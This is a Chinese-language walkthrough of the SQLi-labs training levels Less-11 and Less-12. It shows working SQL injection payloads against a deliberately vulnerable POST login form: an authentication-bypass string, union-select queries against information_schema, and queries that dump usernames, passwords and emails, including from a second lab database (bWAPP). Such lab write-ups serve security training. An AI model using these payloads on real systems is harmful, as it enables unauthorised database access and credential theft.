Less-11(POST-Error Based-Single Quotes-String)

打开Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。

万能密码

那么先尝试一下万能密码登录,用户名:admin' #、密码随便填一个:



从上图可以看出登陆成功,并且会回显账号和密码。

其他方法

判断注入

先随便尝试一个账号密码,uname=name & passwd=pass

显示登录失败,接着修改post包,加入引号看是否会报错.

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号。到此可以发现SQL语句的报错会显示在前端页面。

判断当前数据表列数

注入语句:uname=name' order by 1# & passwd=pass

当尝试到uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

判断回显位

注入语句:uname=name' union select 1,2 # & passwd=pass

判断数用户名和据库名

注入语句:uname=name' union select user(),database() # & passwd=pass



通过上述注入可以得知,当前数据库名为security,当前用户为root,接着找出这个数据库中的所有数据表。

确定当前数据库内表名

注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass



通过上述注入可以得知当前数据库中存在emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass



通过上述注入可以得知users表中存在三列,分别为idusernamepassword

确定users表中的用户名和密码

注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

到此,就得到了当前表中所有的用户名和密码。

跨数据库注入

通过上面的步骤可以看到当前用户是root用户,那么可以尝试爆其他数据库中的信息。

确定当前服务器上有哪些数据库

注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass



通过上述注入可以得知当前服务器中的数据库由:information_schemabWAPPchallengesdvwamysqlperformance_schemasecuritytest

确定bWAPP数据库中的数据表

注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass



上图中可以看出在bWAPP库中的表分别是blog,heroes,movies,users,visitors

确定users数据库中的列名

注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

可以看到users表中的列名为:id,login,password,email,secret,activation_code,activated,reset_code,admin

确定users表中的邮箱和密码

注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug

Less-12(POST-Error Based-Double Quotes-String-with twist)

通过注入uname=name" & passwd=pass发现SQL闭合符号为"),其余操作均与第11关相同。

确定回显位,其余操作不再赘述:

SQLI-LABS(Less-11、12)的更多相关文章

  1. 阅读<构建之法>第三10、11、12章并提出问题

    <构建之法>第10.11.12章 第10章: 问题:对我们了解了用户的需求后,但是我们想法和做出来的软件会和用户的需求有偏差,比如风格.界面的修饰等等,那么我们程序猿怎样才能让自己的想法更 ...

  2. 第11、12章等待方法和alter框处理

    11.等待方法 time sleep webdriver implicitly_wait() 设置浏览器等待时间 WebDriverWait 等待条件满足或超时后退出   12.alter对话框处理 ...

  3. 阅读<构建之法>第三10、11、12章

    第10章:典型用户和场景 阅读了第10章之后,我知道典型用户很重要,典型用户是某类群体的代表,他们的观点能够反映一类人的观点与对产品的要求,那么要怎么样才能够从一类群体里,选择正确的典型用户反映我们研 ...

  4. JavaScript高级程序设计(第三版)学习笔记11、12、17章

    章, DOM扩展 选择符 API Selector API Level1核心方法querySelector .querySelectorAll,兼容的浏览器可以使用 Document,Element  ...

  5. <构建之法>第11、12章

    第11章软件设计与实现 主要讲了典型的开发流程和开发阶段的一些管理方法 问题: 从spec道实现是代码的实现吗? 第12章 用户体验 主要讲了用户体验的各种角度和认识阻力登 问题: 用户的体验是设计前 ...

  6. 阅读<构建之法>第10、11、12章

    第10章 典型用户和场景 10.2 规格说明书 10.3 功能驱动的设计 问题:怎样写好spec?功能驱动设计的功能设计阶段怎样实现一个具体的功能? 第11章 软件设计与实现 11.2开发阶段的日常管 ...

  7. VMware Workstation Pro 11、12 密钥

    11:1F04Z-6D111-7Z029-AV0Q4-3AEH8 12:5A02H-AU243-TZJ49-GTC7K-3C61N

  8. TW实习日记:第11、12天

    这两天其实都在做一件事,项目组组长丢了个需求下来,要求完成一个百度地图api的页面.原本以为和之前写微信接口的类似,没想到这次问题这么多.并且在写代码的时候和组长交流不畅导致心情也很差,深刻的反思了一 ...

  9. 求出1~13的整数中1出现的次数,并算出100~1300的整数中1出现的次数?为此他特别数了一下1~13中包含1的数字有1、10、11、12、13因此共出现6次,但是对于后面问题他就没辙了。ACMer希望你们帮帮他,并把问题更加普遍化,可以很快的求出任意非负整数区间中1出现的次数。

    // test20.cpp : 定义控制台应用程序的入口点. // include "stdafx.h" include include include include inclu ...

  10. <构建之法>第三10、11、12章

    第十章 典型用户和场景 问题:如何更准确知道用户的需求是什么,设计出满足用户的软件? 第十一章 软件设计与实现 问题:软件设计过程中,如何管理设计变更? 第十二章 用户体验 问题:在何时开始设计用户体 ...

随机推荐

  1. 如何在Windows端安装scala

    一.首先确保jdk安装成功   首先在安装之前,确保本地已经安装了JDK1.5以上的版本,在此安装的是1.8版本.并且已经设置了JAVA_HOME 环境变量及JDK的bin目录. 1.新建JAVA_H ...

  2. Excel如何核对同一行的两列数据是否一致

    方法一 Ctrl+G 快捷键Ctrl+G,点击[定位条件],选择"行内容差异单元格",点击[确定]. 方法二 条件格式 逆向思维,先利用条件格式查找出相同的数据,筛选剔除相同的数据 ...

  3. Vdbench 参数详解

    Vdbench 参数详解 HD:主机定义 如果您希望展示当前主机,则设置 hd= localhost.如果希望指定一个远程主机,hd= label. system= IP 地址或网络名称. clien ...

  4. Stream 总结

    1 前言 Stream 是 Java 8 中为方便操作集合及其元素而定制的接口,它将要处理的元素集合看作一种流,对流中的元素进行过滤.排序.映射.聚合等操作.使用 Stream API,就好像使用 S ...

  5. updatedb命令

    updatedb命令 updatedb创建或更新locate命令使用的数据库,如果数据库已经存在,则重用其数据以避免重新读取未更改的目录,updatedb通常由cron每天运行以更新默认数据库. 语法 ...

  6. nginx新增conf文件

    说明 最近租了一台美国vps,通过nginx反向代理设置搞谷歌镜像.因为BxxDx搜索太垃圾.中间涉及到添加反向代理配置. 操作步骤 1.在conf.d文件下新增配置 cd /etc/nginx/co ...

  7. 以二进制文件安装K8S之部署Master高可用集群

    如下以二进制文件方式部署安全的Kubernetes Master高可用集群,具体步骤如下: 1.下载Kubernetes服务的二进制文件 2.部署kube-apiserver服务 3.创建客户端CA证 ...

  8. Ubuntu 安装 Python3.6.7

    注意: 不要卸载ubuntu自带的python版本: ubuntu下不同版本的python可以共存,可直接安装python3.6. 1.升级包索引和软件 sudo apt update sudo ap ...

  9. nginx中使用perl脚本来定制一些请求转发等等

    http://t.zoukankan.com/carriezhangyan-p-9359708.html https://blog.csdn.net/weixin_28917223/article/d ...

  10. ContentType组件表使用

    https://www.shuzhiduo.com/A/qVdepN2r5P/